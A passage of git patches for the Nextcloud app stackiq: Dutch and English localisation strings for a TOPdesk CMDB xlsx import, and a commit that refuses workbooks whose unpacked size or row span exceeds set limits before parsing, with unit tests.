1);" ) diff --git a/l10n/en.json b/l10n/en.json index 51d90b728..21ab24661 100644 --- a/l10n/en.json +++ b/l10n/en.json @@ -1082,6 +1082,25 @@ "The BBN level (Baseline Informatiebeveiliging Overheid) this application is classified at. BBN2+ is a level the TOPdesk CMDB export uses.": "The BBN level (Baseline Informatiebeveiliging Overheid) this application is classified at. BBN2+ is a level the TOPdesk CMDB export uses.", "Field \"%1$s\" must be one of: %2$s.": "Field \"%1$s\" must be one of: %2$s.", "Field \"%s\" has an invalid value.": "Field \"%s\" has an invalid value.", - "The server could not store the uploaded file. The details are in the Nextcloud log.": "The server could not store the uploaded file. The details are in the Nextcloud log." + "The server could not store the uploaded file. The details are in the Nextcloud log.": "The server could not store the uploaded file. The details are in the Nextcloud log.", + "The file is larger than {size}, the most the import accepts.": "The file is larger than {size}, the most the import accepts.", + "The file is larger than the server accepts.": "The file is larger than the server accepts.", + "A source sheet may hold at most {limit} rows. Split the export and import the parts one after the other.": "A source sheet may hold at most {limit} rows. Split the export and import the parts one after the other.", + "Split the export and import the parts one after the other.": "Split the export and import the parts one after the other.", + "Excel workbook (.xlsx) with the sheet \"{first}\" or \"{second}\". By default the file may be at most {size}.": "Excel workbook (.xlsx) with the sheet \"{first}\" or \"{second}\". By default the file may be at most {size}.", + "The sheets \"{first}\" (applications without arranged maintenance) and \"{second}\" (with arranged maintenance) are read; other sheets, including the \"Invoer\" sheets, are ignored.": "The sheets \"{first}\" (applications without arranged maintenance) and \"{second}\" (with arranged maintenance) are read; other sheets, including the \"Invoer\" sheets, are ignored.", + "The page got no answer from the import.": "The page got no answer from the import.", + "The connection was cut off before the import answered, so it may still be running or may have finished. Wait a few minutes and check the applications of the municipality before you import again. Importing the same file again creates no duplicates.": "The connection was cut off before the import answered, so it may still be running or may have finished. Wait a few minutes and check the applications of the municipality before you import again. Importing the same file again creates no duplicates.", + "The import cannot be cancelled now: the server has not started its rows yet, or has already finished them. If the import keeps running, press Cancel import again in a moment.": "The import cannot be cancelled now: the server has not started its rows yet, or has already finished them. If the import keeps running, press Cancel import again in a moment.", + "The import could not be cancelled: {reason}": "The import could not be cancelled: {reason}", + "Cancelling the import. It stops before the next row; the rows already processed stay imported.": "Cancelling the import. It stops before the next row; the rows already processed stay imported.", + "Showing {shown} of {total} rows.": "Showing {shown} of {total} rows.", + "Show {count} more rows": "Show {count} more rows", + "The request field \"{field}\" has a value the import does not accept.": "The request field \"{field}\" has a value the import does not accept.", + "Accepted values: {accepted}. Reload the page and try again.": "Accepted values: {accepted}. Reload the page and try again.", + "The server could not store the uploaded file.": "The server could not store the uploaded file.", + "Try again. If it keeps failing, the Nextcloud log has the details; check the free space and the upload settings of the server.": "Try again. If it keeps failing, the Nextcloud log has the details; check the free space and the upload settings of the server.", + "You may not use stackiq's admin settings, so you cannot import a CMDB export.": "You may not use stackiq's admin settings, so you cannot import a CMDB export.", + "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.": "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group." } } diff --git a/l10n/nl.js b/l10n/nl.js index febe9c5d4..5f87b9101 100644 --- a/l10n/nl.js +++ b/l10n/nl.js @@ -1153,7 +1153,26 @@ OC.L10N.register( "The BBN level (Baseline Informatiebeveiliging Overheid) this application is classified at. BBN2+ is a level the TOPdesk CMDB export uses.": "Het BBN-niveau (Baseline Informatiebeveiliging Overheid) waarop deze applicatie is geclassificeerd. BBN2+ is een niveau dat de TOPdesk-CMDB-export gebruikt.", "Field \"%1$s\" must be one of: %2$s.": "Veld \"%1$s\" moet een van deze waarden hebben: %2$s.", "Field \"%s\" has an invalid value.": "Veld \"%s\" heeft een ongeldige waarde.", - "The server could not store the uploaded file. The details are in the Nextcloud log.": "De server kon het geüploade bestand niet opslaan. De details staan in het Nextcloud-logboek." + "The server could not store the uploaded file. The details are in the Nextcloud log.": "De server kon het geüploade bestand niet opslaan. De details staan in het Nextcloud-logboek.", + "The file is larger than {size}, the most the import accepts.": "Het bestand is groter dan {size}, het maximum dat de import accepteert.", + "The file is larger than the server accepts.": "Het bestand is groter dan de server accepteert.", + "A source sheet may hold at most {limit} rows. Split the export and import the parts one after the other.": "Een brontabblad mag hoogstens {limit} rijen bevatten. Splits de export en importeer de delen na elkaar.", + "Split the export and import the parts one after the other.": "Splits de export en importeer de delen na elkaar.", + "Excel workbook (.xlsx) with the sheet \"{first}\" or \"{second}\". By default the file may be at most {size}.": "Excel-werkmap (.xlsx) met het tabblad \"{first}\" of \"{second}\". Standaard mag het bestand hoogstens {size} zijn.", + "The sheets \"{first}\" (applications without arranged maintenance) and \"{second}\" (with arranged maintenance) are read; other sheets, including the \"Invoer\" sheets, are ignored.": "De tabbladen \"{first}\" (applicaties zonder geregeld beheer) en \"{second}\" (met geregeld beheer) worden gelezen; andere tabbladen, ook de \"Invoer\"-tabbladen, worden genegeerd.", + "The page got no answer from the import.": "De pagina kreeg geen antwoord van de import.", + "The connection was cut off before the import answered, so it may still be running or may have finished. Wait a few minutes and check the applications of the municipality before you import again. Importing the same file again creates no duplicates.": "De verbinding werd verbroken voordat de import antwoordde, dus de import kan nog bezig zijn of al klaar zijn. Wacht een paar minuten en controleer de applicaties van de gemeente voordat u opnieuw importeert. Hetzelfde bestand opnieuw importeren maakt geen dubbele records aan.", + "The import cannot be cancelled now: the server has not started its rows yet, or has already finished them. If the import keeps running, press Cancel import again in a moment.": "De import kan nu niet worden geannuleerd: de server is nog niet aan de rijen begonnen, of is er al mee klaar. Loopt de import door, druk dan zo dadelijk opnieuw op Import annuleren.", + "The import could not be cancelled: {reason}": "De import kon niet worden geannuleerd: {reason}", + "Cancelling the import. It stops before the next row; the rows already processed stay imported.": "De import wordt geannuleerd. Hij stopt voor de volgende rij; de rijen die al verwerkt zijn blijven geïmporteerd.", + "Showing {shown} of {total} rows.": "{shown} van {total} rijen weergegeven.", + "Show {count} more rows": "Toon nog {count} rijen", + "The request field \"{field}\" has a value the import does not accept.": "Het veld \"{field}\" van het verzoek heeft een waarde die de import niet accepteert.", + "Accepted values: {accepted}. Reload the page and try again.": "Toegestane waarden: {accepted}. Laad de pagina opnieuw en probeer het nog eens.", + "The server could not store the uploaded file.": "De server kon het geüploade bestand niet opslaan.", + "Try again. If it keeps failing, the Nextcloud log has the details; check the free space and the upload settings of the server.": "Probeer het opnieuw. Blijft het mislukken, dan staan de details in het Nextcloud-logboek; controleer de vrije ruimte en de uploadinstellingen van de server.", + "You may not use stackiq's admin settings, so you cannot import a CMDB export.": "U mag de beheerinstellingen van stackiq niet gebruiken, dus u kunt geen CMDB-export importeren.", + "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.": "Vraag een Nextcloud-beheerder om de import uit te voeren, of om de beheerinstellingen van stackiq aan uw groep te delegeren." }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/nl.json b/l10n/nl.json index 2cce615f5..366a6d6db 100644 --- a/l10n/nl.json +++ b/l10n/nl.json @@ -1152,6 +1152,25 @@ "The BBN level (Baseline Informatiebeveiliging Overheid) this application is classified at. BBN2+ is a level the TOPdesk CMDB export uses.": "Het BBN-niveau (Baseline Informatiebeveiliging Overheid) waarop deze applicatie is geclassificeerd. BBN2+ is een niveau dat de TOPdesk-CMDB-export gebruikt.", "Field \"%1$s\" must be one of: %2$s.": "Veld \"%1$s\" moet een van deze waarden hebben: %2$s.", "Field \"%s\" has an invalid value.": "Veld \"%s\" heeft een ongeldige waarde.", - "The server could not store the uploaded file. The details are in the Nextcloud log.": "De server kon het geüploade bestand niet opslaan. De details staan in het Nextcloud-logboek." + "The server could not store the uploaded file. The details are in the Nextcloud log.": "De server kon het geüploade bestand niet opslaan. De details staan in het Nextcloud-logboek.", + "The file is larger than {size}, the most the import accepts.": "Het bestand is groter dan {size}, het maximum dat de import accepteert.", + "The file is larger than the server accepts.": "Het bestand is groter dan de server accepteert.", + "A source sheet may hold at most {limit} rows. Split the export and import the parts one after the other.": "Een brontabblad mag hoogstens {limit} rijen bevatten. Splits de export en importeer de delen na elkaar.", + "Split the export and import the parts one after the other.": "Splits de export en importeer de delen na elkaar.", + "Excel workbook (.xlsx) with the sheet \"{first}\" or \"{second}\". By default the file may be at most {size}.": "Excel-werkmap (.xlsx) met het tabblad \"{first}\" of \"{second}\". Standaard mag het bestand hoogstens {size} zijn.", + "The sheets \"{first}\" (applications without arranged maintenance) and \"{second}\" (with arranged maintenance) are read; other sheets, including the \"Invoer\" sheets, are ignored.": "De tabbladen \"{first}\" (applicaties zonder geregeld beheer) en \"{second}\" (met geregeld beheer) worden gelezen; andere tabbladen, ook de \"Invoer\"-tabbladen, worden genegeerd.", + "The page got no answer from the import.": "De pagina kreeg geen antwoord van de import.", + "The connection was cut off before the import answered, so it may still be running or may have finished. Wait a few minutes and check the applications of the municipality before you import again. Importing the same file again creates no duplicates.": "De verbinding werd verbroken voordat de import antwoordde, dus de import kan nog bezig zijn of al klaar zijn. Wacht een paar minuten en controleer de applicaties van de gemeente voordat u opnieuw importeert. Hetzelfde bestand opnieuw importeren maakt geen dubbele records aan.", + "The import cannot be cancelled now: the server has not started its rows yet, or has already finished them. If the import keeps running, press Cancel import again in a moment.": "De import kan nu niet worden geannuleerd: de server is nog niet aan de rijen begonnen, of is er al mee klaar. Loopt de import door, druk dan zo dadelijk opnieuw op Import annuleren.", + "The import could not be cancelled: {reason}": "De import kon niet worden geannuleerd: {reason}", + "Cancelling the import. It stops before the next row; the rows already processed stay imported.": "De import wordt geannuleerd. Hij stopt voor de volgende rij; de rijen die al verwerkt zijn blijven geïmporteerd.", + "Showing {shown} of {total} rows.": "{shown} van {total} rijen weergegeven.", + "Show {count} more rows": "Toon nog {count} rijen", + "The request field \"{field}\" has a value the import does not accept.": "Het veld \"{field}\" van het verzoek heeft een waarde die de import niet accepteert.", + "Accepted values: {accepted}. Reload the page and try again.": "Toegestane waarden: {accepted}. Laad de pagina opnieuw en probeer het nog eens.", + "The server could not store the uploaded file.": "De server kon het geüploade bestand niet opslaan.", + "Try again. If it keeps failing, the Nextcloud log has the details; check the free space and the upload settings of the server.": "Probeer het opnieuw. Blijft het mislukken, dan staan de details in het Nextcloud-logboek; controleer de vrije ruimte en de uploadinstellingen van de server.", + "You may not use stackiq's admin settings, so you cannot import a CMDB export.": "U mag de beheerinstellingen van stackiq niet gebruiken, dus u kunt geen CMDB-export importeren.", + "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.": "Vraag een Nextcloud-beheerder om de import uit te voeren, of om de beheerinstellingen van stackiq aan uw groep te delegeren." } } From ff9e1b768190706bb24f5f9e8f489ee347a280b1 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 10:49:04 +0200 Subject: [PATCH 115/176] fix(cmdb-import): the workbook reader bounds memory before PhpSpreadsheet parses a sheet The 10 MB upload cap is on the compressed file, and the row cap was applied after load() had materialised every cell, so a 9.7 MB package of 2,000,000 rows exhausted a 512 MB worker before TOO_MANY_ROWS was reached. The reader now refuses a package whose parts unpack to more than the profile's maxUncompressedBytes (default 50 MB) with WORKBOOK_TOO_LARGE (413), and a source sheet whose last used row lies beyond twice the row limit with TOO_MANY_ROWS, both before a sheet is loaded. The sheets are then read through a read filter: once for the header row, once for the resolved columns of the rows up to that bound, so no other cell becomes a cell object. The tests build small packages at run time. Co-Authored-By: Claude Opus 5.5 --- lib/Exception/CmdbImportException.php | 2 + lib/Service/Cmdb/CmdbImportProfile.php | 24 ++ lib/Service/Cmdb/CmdbReadFilter.php | 77 ++++++ lib/Service/Cmdb/CmdbWorkbookReader.php | 237 +++++++++++++++--- lib/Settings/cmdb-import/topdesk-profile.json | 1 + phpstan.neon | 4 + psalm.xml | 4 + .../Service/Cmdb/CmdbWorkbookReaderTest.php | 126 ++++++++++ tests/Unit/Support/CmdbTestSupport.php | 148 +++++++++++ tests/Unit/Support/RecordingXlsxReader.php | 53 ++++ .../phpspreadsheet-read-filter.stub.php | 48 ++++ 11 files changed, 686 insertions(+), 38 deletions(-) create mode 100644 lib/Service/Cmdb/CmdbReadFilter.php create mode 100644 tests/Unit/Support/RecordingXlsxReader.php create mode 100644 tests/analysis-stubs/phpspreadsheet-read-filter.stub.php diff --git a/lib/Exception/CmdbImportException.php b/lib/Exception/CmdbImportException.php index 4e96756e9..138a3e733 100644 --- a/lib/Exception/CmdbImportException.php +++ b/lib/Exception/CmdbImportException.php @@ -46,6 +46,7 @@ class CmdbImportException extends RuntimeException { public const MAPPING_UNAVAILABLE = 'MAPPING_UNAVAILABLE'; public const READER_UNAVAILABLE = 'READER_UNAVAILABLE'; public const NOT_CONFIGURED = 'NOT_CONFIGURED'; + public const WORKBOOK_TOO_LARGE = 'WORKBOOK_TOO_LARGE'; /** * HTTP status per error code. @@ -62,6 +63,7 @@ class CmdbImportException extends RuntimeException { self::MAPPING_UNAVAILABLE => 503, self::READER_UNAVAILABLE => 503, self::NOT_CONFIGURED => 503, + self::WORKBOOK_TOO_LARGE => 413, ]; /** diff --git a/lib/Service/Cmdb/CmdbImportProfile.php b/lib/Service/Cmdb/CmdbImportProfile.php index ff67accc6..ff44e8e99 100644 --- a/lib/Service/Cmdb/CmdbImportProfile.php +++ b/lib/Service/Cmdb/CmdbImportProfile.php @@ -66,6 +66,11 @@ class CmdbImportProfile { */ public const DEFAULT_MAX_FILE_BYTES = 10485760; + /** + * Default limit on the unpacked size of a workbook (50 MB). + */ + public const DEFAULT_MAX_UNCOMPRESSED_BYTES = 52428800; + /** * Sources of the municipality pack that come from the request, not from a sheet. * @@ -171,6 +176,25 @@ public function maxFileBytes(): int { return self::DEFAULT_MAX_FILE_BYTES; }//end maxFileBytes() + /** + * The limit on the unpacked size of a workbook, in bytes. + * + * The upload limit is on the compressed file; a sheet of identical rows + * compresses a hundredfold, so the unpacked size is bounded too. + * + * @return int + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function maxUncompressedBytes(): int { + $limit = $this->profile()['maxUncompressedBytes'] ?? null; + if (is_int($limit) === true && $limit > 0) { + return $limit; + } + + return self::DEFAULT_MAX_UNCOMPRESSED_BYTES; + }//end maxUncompressedBytes() + /** * The maximum number of non-empty rows per source sheet. * diff --git a/lib/Service/Cmdb/CmdbReadFilter.php b/lib/Service/Cmdb/CmdbReadFilter.php new file mode 100644 index 000000000..a5132727d --- /dev/null +++ b/lib/Service/Cmdb/CmdbReadFilter.php @@ -0,0 +1,77 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Service\Cmdb; + +use PhpOffice\PhpSpreadsheet\Reader\IReadFilter; + +/** + * Admits the header row, or the allowlisted columns of the data rows. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ +class CmdbReadFilter implements IReadFilter { + /** + * Constructor. + * + * @param int $lastRow The last row number that is read; 1 reads the header row only. + * @param array> $columns Sheet name => column letters of the data rows. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function __construct( + private readonly int $lastRow, + private readonly array $columns = [], + ) { + }//end __construct() + + /** + * Whether a cell is read. + * + * @param string $columnAddress The column letters. + * @param int $row The row number. + * @param string $worksheetName The sheet name. + * + * @return bool + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function readCell(string $columnAddress, int $row, string $worksheetName = ''): bool { + if ($row === 1) { + return $this->lastRow === 1; + } + + if ($row < 1 || $row > $this->lastRow) { + return false; + } + + return in_array(strtoupper($columnAddress), ($this->columns[$worksheetName] ?? []), true); + }//end readCell() +}//end class diff --git a/lib/Service/Cmdb/CmdbWorkbookReader.php b/lib/Service/Cmdb/CmdbWorkbookReader.php index 1ec5cac07..bad2fd70b 100644 --- a/lib/Service/Cmdb/CmdbWorkbookReader.php +++ b/lib/Service/Cmdb/CmdbWorkbookReader.php @@ -26,6 +26,12 @@ * to an empty cell, so it yields an empty cell too. * 5. Rows whose kept cells are all empty are dropped; more non-empty rows than * the profile allows stops the import with `TOO_MANY_ROWS` (422). + * 6. Memory is bounded before PhpSpreadsheet parses a sheet: a package that + * unpacks to more than the profile's `maxUncompressedBytes` is + * `WORKBOOK_TOO_LARGE` (413), and a source sheet whose last used row lies + * beyond twice the row limit is `TOO_MANY_ROWS`. A read filter then + * materialises only the header row and the resolved columns of the rows + * up to that bound (CmdbReadFilter). * * @category Service * @package OCA\Stackiq\Service\Cmdb @@ -120,17 +126,27 @@ public function isAvailable(): bool { /** * Read the source sheets of an xlsx workbook. * + * What the workbook can make PhpSpreadsheet hold is bounded before any + * sheet is parsed: the unpacked size of the package (the profile's + * `maxUncompressedBytes`), then the last used row of every source sheet. + * The sheets are then read twice through a read filter: once for the + * header row, once for the resolved columns of the data rows, so no other + * cell is ever materialised. + * * @param string $path The xlsx file, already checked by assertXlsx(). * @param CmdbImportProfile $profile The import profile. * * @return array `rows` (list of {sheet, row, cells, uncached}), `importWarnings` * (list of {sheet, message}) and `date1904` (bool). * - * @throws CmdbImportException READER_UNAVAILABLE, NOT_XLSX, NO_SOURCE_SHEET, MISSING_COLUMN or TOO_MANY_ROWS. + * @throws CmdbImportException WORKBOOK_TOO_LARGE, READER_UNAVAILABLE, NOT_XLSX, NO_SOURCE_SHEET, + * MISSING_COLUMN or TOO_MANY_ROWS. * * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 */ public function read(string $path, CmdbImportProfile $profile): array { + $this->assertUncompressedSize(path: $path, limit: $profile->maxUncompressedBytes()); + if ($this->isAvailable() === false) { throw new CmdbImportException( errorCode: CmdbImportException::READER_UNAVAILABLE, @@ -138,9 +154,7 @@ public function read(string $path, CmdbImportProfile $profile): array { ); } - $readerClass = static::READER_CLASS; - $reader = new $readerClass(); - + $reader = $this->newReader(sheetNames: null); try { $available = $reader->listWorksheetNames($path); } catch (Throwable $e) { @@ -161,28 +175,187 @@ public function read(string $path, CmdbImportProfile $profile): array { ); } - $reader->setReadDataOnly(true); - $reader->setReadEmptyCells(false); - $reader->setLoadSheetsOnly($present); + $limit = $profile->maxRowsPerSheet(); + $lastRow = self::lastReadableRow(limit: $limit); + $this->assertRowSpan(path: $path, sheetNames: $present, lastRow: $lastRow, limit: $limit); + + $headers = $this->load(path: $path, sheetNames: $present, filter: new CmdbReadFilter(lastRow: 1)); + try { + $resolved = $this->resolveSheets(spreadsheet: $headers, sheetNames: $present, profile: $profile); + } finally { + $headers->disconnectWorksheets(); + } + + $letters = array_map(static fn (array $columns): array => array_keys($columns), $resolved['columns']); + $spreadsheet = $this->load(path: $path, sheetNames: $present, filter: new CmdbReadFilter(lastRow: $lastRow, columns: $letters)); + try { + $rows = []; + foreach ($present as $sheetName) { + $sheetRows = $this->readRows( + worksheet: $spreadsheet->getSheetByName($sheetName), + columns: $resolved['columns'][$sheetName], + sheetName: $sheetName, + limit: $limit + ); + array_push($rows, ...$sheetRows); + } + + $date1904 = false; + if (method_exists($spreadsheet, 'getExcelCalendar') === true) { + $date1904 = ((int)$spreadsheet->getExcelCalendar() === 1904); + } + } finally { + $spreadsheet->disconnectWorksheets(); + } + + return ['rows' => $rows, 'importWarnings' => $resolved['warnings'], 'date1904' => $date1904]; + }//end read() + + /** + * The last row number the data pass reads. + * + * Twice the row limit plus the header row: a sheet may carry empty rows + * between its data rows (formatted rows, formulas whose cached value is 0), + * but not more of them than it has room for data rows. + * + * @param int $limit The profile's maximum number of non-empty rows. + * + * @return int + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public static function lastReadableRow(int $limit): int { + return ((2 * max(0, $limit)) + 1); + }//end lastReadableRow() + + /** + * Refuse a package whose parts unpack to more than the limit, before any part is parsed. + * + * The sizes are the uncompressed sizes the ZIP directory declares; libzip + * never inflates a part beyond its declared size. + * + * @param string $path The xlsx file. + * @param int $limit The maximum number of unpacked bytes. + * + * @return void + * + * @throws CmdbImportException NOT_XLSX when the package cannot be opened, WORKBOOK_TOO_LARGE above the limit. + */ + private function assertUncompressedSize(string $path, int $limit): void { + $zip = new ZipArchive(); + if ($zip->open($path, ZipArchive::RDONLY) !== true) { + throw new CmdbImportException(errorCode: CmdbImportException::NOT_XLSX, message: 'The ZIP package cannot be opened'); + } + + $total = 0; + $readable = true; + for ($index = 0; $index < $zip->numFiles && $total <= $limit; $index++) { + $stat = $zip->statIndex($index); + if ($stat === false) { + $readable = false; + break; + } + + $total += (int)$stat['size']; + } + + $zip->close(); + + if ($readable === false) { + throw new CmdbImportException(errorCode: CmdbImportException::NOT_XLSX, message: 'A part of the ZIP package cannot be read'); + } + + if ($total > $limit) { + throw new CmdbImportException( + errorCode: CmdbImportException::WORKBOOK_TOO_LARGE, + message: 'The workbook unpacks to more bytes than the profile allows', + details: ['maxUncompressedBytes' => $limit] + ); + } + }//end assertUncompressedSize() + /** + * Refuse a source sheet whose last used row lies beyond the rows that are read. + * + * PhpSpreadsheet's worksheet info streams the sheet and counts no cell + * objects, so this runs before a sheet is loaded. + * + * @param string $path The xlsx file. + * @param array $sheetNames The present source sheets. + * @param int $lastRow The last row number that is read. + * @param int $limit The profile's maximum number of non-empty rows, for the details. + * + * @return void + * + * @throws CmdbImportException NOT_XLSX when the sheets cannot be listed, TOO_MANY_ROWS beyond the last row. + */ + private function assertRowSpan(string $path, array $sheetNames, int $lastRow, int $limit): void { try { - $spreadsheet = $reader->load($path); + $info = $this->newReader(sheetNames: null)->listWorksheetInfo($path); } catch (Throwable $e) { throw new CmdbImportException( errorCode: CmdbImportException::NOT_XLSX, - message: 'The workbook cannot be loaded: ' . get_class($e), + message: 'The workbook cannot be read: ' . get_class($e), previous: $e ); } - try { - $result = $this->readSheets(spreadsheet: $spreadsheet, sheetNames: $present, profile: $profile); - } finally { - $spreadsheet->disconnectWorksheets(); + foreach ($info as $sheet) { + $name = (string)($sheet['worksheetName'] ?? ''); + if (in_array($name, $sheetNames, true) === true && (int)($sheet['totalRows'] ?? 0) > $lastRow) { + throw new CmdbImportException( + errorCode: CmdbImportException::TOO_MANY_ROWS, + message: 'A source sheet has more rows than the profile allows', + details: ['sheet' => $name, 'limit' => $limit] + ); + } } + }//end assertRowSpan() - return $result; - }//end read() + /** + * A PhpSpreadsheet Xlsx reader in read-data-only mode. + * + * @param array|null $sheetNames The sheets to load, or null for none set. + * + * @return object + */ + private function newReader(?array $sheetNames): object { + $readerClass = static::READER_CLASS; + $reader = new $readerClass(); + $reader->setReadDataOnly(true); + $reader->setReadEmptyCells(false); + if ($sheetNames !== null) { + $reader->setLoadSheetsOnly($sheetNames); + } + + return $reader; + }//end newReader() + + /** + * Load the source sheets through a read filter. + * + * @param string $path The xlsx file. + * @param array $sheetNames The present source sheets. + * @param CmdbReadFilter $filter Which cells are read. + * + * @return object The PhpSpreadsheet workbook. + * + * @throws CmdbImportException NOT_XLSX when the workbook cannot be loaded. + */ + private function load(string $path, array $sheetNames, CmdbReadFilter $filter): object { + $reader = $this->newReader(sheetNames: $sheetNames); + $reader->setReadFilter($filter); + + try { + return $reader->load($path); + } catch (Throwable $e) { + throw new CmdbImportException( + errorCode: CmdbImportException::NOT_XLSX, + message: 'The workbook cannot be loaded: ' . get_class($e), + previous: $e + ); + } + }//end load() /** * Normalise a header or column name for matching. @@ -201,24 +374,25 @@ public static function normaliseHeader(string $header): string { }//end normaliseHeader() /** - * Read every present source sheet. + * Resolve the columns of every present source sheet from its header row. * - * @param object $spreadsheet The loaded PhpSpreadsheet workbook. + * Every sheet is resolved before a single data row is read, so a missing + * required column stops the import first. + * + * @param object $spreadsheet The workbook, loaded with the header row only. * @param array $sheetNames The present source sheets, in profile order. * @param CmdbImportProfile $profile The import profile. * - * @return array `rows` (list of {sheet, row, cells, uncached}), `importWarnings` - * (list of {sheet, message}) and `date1904` (bool). + * @return array{columns: array>, warnings: array} + * Per sheet, column letter => referenced column name; and the import warnings. * - * @throws CmdbImportException MISSING_COLUMN or TOO_MANY_ROWS. + * @throws CmdbImportException MISSING_COLUMN. */ - private function readSheets(object $spreadsheet, array $sheetNames, CmdbImportProfile $profile): array { + private function resolveSheets(object $spreadsheet, array $sheetNames, CmdbImportProfile $profile): array { $referenced = $profile->referencedColumns(); $mapped = $this->packSources(profile: $profile); $required = $profile->requiredColumns(); - // Resolve every sheet's columns first, so a missing required column - // stops the import before a single row is read. $columnsPerSheet = []; $warnings = []; foreach ($sheetNames as $sheetName) { @@ -240,21 +414,8 @@ private function readSheets(object $spreadsheet, array $sheetNames, CmdbImportPr $columnsPerSheet[$sheetName] = $columns; } - $rows = []; - $limit = $profile->maxRowsPerSheet(); - foreach ($sheetNames as $sheetName) { - $worksheet = $spreadsheet->getSheetByName($sheetName); - $sheetRows = $this->readRows(worksheet: $worksheet, columns: $columnsPerSheet[$sheetName], sheetName: $sheetName, limit: $limit); - array_push($rows, ...$sheetRows); - } - - $date1904 = false; - if (method_exists($spreadsheet, 'getExcelCalendar') === true) { - $date1904 = ((int)$spreadsheet->getExcelCalendar() === 1904); - } - - return ['rows' => $rows, 'importWarnings' => $warnings, 'date1904' => $date1904]; - }//end readSheets() + return ['columns' => $columnsPerSheet, 'warnings' => $warnings]; + }//end resolveSheets() /** * Map the header row to the referenced column names. diff --git a/lib/Settings/cmdb-import/topdesk-profile.json b/lib/Settings/cmdb-import/topdesk-profile.json index cc18881d2..98136c01c 100644 --- a/lib/Settings/cmdb-import/topdesk-profile.json +++ b/lib/Settings/cmdb-import/topdesk-profile.json @@ -5,6 +5,7 @@ "description": "How stackiq reads a TOPdesk CMDB export (xlsx): the two CMDB sheets, the key and required columns, date and id columns, values that mean empty, the pack per target and the limits. Columns that neither this profile nor a pack names are never read.", "maxFileBytes": 10485760, "maxRowsPerSheet": 10000, + "maxUncompressedBytes": 52428800, "sheets": [ { "name": "Onbeh Applicaties CMDB", diff --git a/phpstan.neon b/phpstan.neon index f339f36a9..90283df50 100644 --- a/phpstan.neon +++ b/phpstan.neon @@ -26,6 +26,10 @@ parameters: # spellings are in the field, and without this one the analyser proves # the newer half of the inbound guard dead. - tests/analysis-stubs/decidiq-events.stub.php + # PhpSpreadsheet's IReadFilter, which CmdbReadFilter implements. + # OpenRegister ships PhpSpreadsheet, so it is absent from the + # analysis path; the stub mirrors the real 5.x signature. + - tests/analysis-stubs/phpspreadsheet-read-filter.stub.php # Integriq's connection-registry events (adopt-connection-registry). # ConnectionReportService names them by string behind class_exists. - tests/Stubs/Integriq/Event/ConnectionStatusReportedEvent.php diff --git a/psalm.xml b/psalm.xml index 176feef4d..bd2e42906 100644 --- a/psalm.xml +++ b/psalm.xml @@ -41,6 +41,10 @@ dispatched event. Analysis-only; never loaded at runtime. --> + + diff --git a/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php b/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php index 56d13386f..1d99a347a 100644 --- a/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php +++ b/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php @@ -26,6 +26,7 @@ use OCA\Stackiq\Service\Cmdb\CmdbImportProfile; use OCA\Stackiq\Service\Cmdb\CmdbWorkbookReader; use OCA\Stackiq\Tests\Unit\Support\CmdbTestSupport; +use OCA\Stackiq\Tests\Unit\Support\RecordingXlsxReader; use PHPUnit\Framework\TestCase; use Psr\Container\ContainerInterface; @@ -236,6 +237,131 @@ public function testTooManyRowsIsRefused(): void { } }//end testTooManyRowsIsRefused() + /** + * A package that unpacks to more than maxUncompressedBytes is refused before PhpSpreadsheet is touched. + * + * The reader below has no PhpSpreadsheet at all: reaching it would answer READER_UNAVAILABLE. + * + * @return void + */ + public function testAWorkbookThatUnpacksBeyondTheLimitIsRefusedBeforeParsing(): void { + $rows = [['APPID', 'Applicatie Naam']]; + for ($index = 1; $index <= 3000; $index++) { + $rows[] = [1, 'Applicatie']; + } + + $path = CmdbTestSupport::buildWorkbook(sheets: ['Beheerde Applicaties CMDB' => $rows]); + $directory = CmdbTestSupport::profileDirectory(overrides: ['maxUncompressedBytes' => 100000]); + $reader = new class extends CmdbWorkbookReader { + /** + * PhpSpreadsheet is absent. + * + * @return bool + */ + public function isAvailable(): bool { + return false; + }//end isAvailable() + }; + + try { + $this->assertLessThan(100000, filesize($path), 'the package itself is under the limit; only its contents are not'); + $reader->read(path: $path, profile: $this->profile(directory: $directory)); + $this->fail('WORKBOOK_TOO_LARGE expected'); + } catch (CmdbImportException $e) { + $this->assertSame('WORKBOOK_TOO_LARGE', $e->getErrorCode()); + $this->assertSame(413, $e->getHttpStatus()); + $this->assertSame(['maxUncompressedBytes' => 100000], $e->getDetails()); + } finally { + unlink($path); + CmdbTestSupport::removeDirectory(directory: $directory); + } + }//end testAWorkbookThatUnpacksBeyondTheLimitIsRefusedBeforeParsing() + + /** + * A source sheet whose last used row lies beyond twice the row limit stops before any sheet is loaded. + * + * @return void + */ + public function testARowSpanBeyondTheLimitStopsBeforeLoading(): void { + $this->requireSpreadsheet(); + require_once __DIR__ . '/../../Support/RecordingXlsxReader.php'; + RecordingXlsxReader::$loads = 0; + + // maxRowsPerSheet 1 reads up to row 3; the third data row sits on row 4. + $path = CmdbTestSupport::buildWorkbook( + sheets: ['Beheerde Applicaties CMDB' => [['APPID', 'Applicatie Naam'], [1, 'Een'], [2, 'Twee'], [3, 'Drie']]] + ); + $directory = CmdbTestSupport::profileDirectory(overrides: ['maxRowsPerSheet' => 1]); + $reader = new class extends 